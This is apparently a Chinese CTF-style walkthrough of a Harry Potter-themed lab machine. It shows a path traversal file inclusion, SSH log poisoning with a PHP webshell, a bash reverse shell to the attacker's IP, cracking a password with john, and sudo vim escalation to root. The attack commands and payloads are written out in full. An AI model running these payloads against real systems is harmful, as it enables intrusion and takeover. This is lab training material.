kali：192.168.111.111
靶机：192.168.111.228
信息收集
端口扫描
nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.228
访问80端口
查看源码，提示ikilledsiriusblack.php和文件包含的参数名file
漏洞利用
ikilledsiriusblack.php存在文件包含
http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../etc/passwd
可以包含ssh日志文件/var/log/auth.log
http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../var/log/auth.log
写入webshell到ssh日志文件
ssh '<?php system($_GET["cmd"]);?>'@192.168.111.228
执行命令
http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../var/log/auth.log&cmd=id
执行反弹shell
bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'
提权
在/var/www/html/c2VjcmV0cw==目录中发现密码字典和lestrange的密码密文
利用john爆破密文，密码：ihateharrypotter
john hash --wordlist=./pass.txt
lestrange用户sudo权限
提权方法：https://gtfobins.github.io/gtfobins/vim/#sudo
提升为root
sudo -u root vim -c ':!/bin/bash'
flag
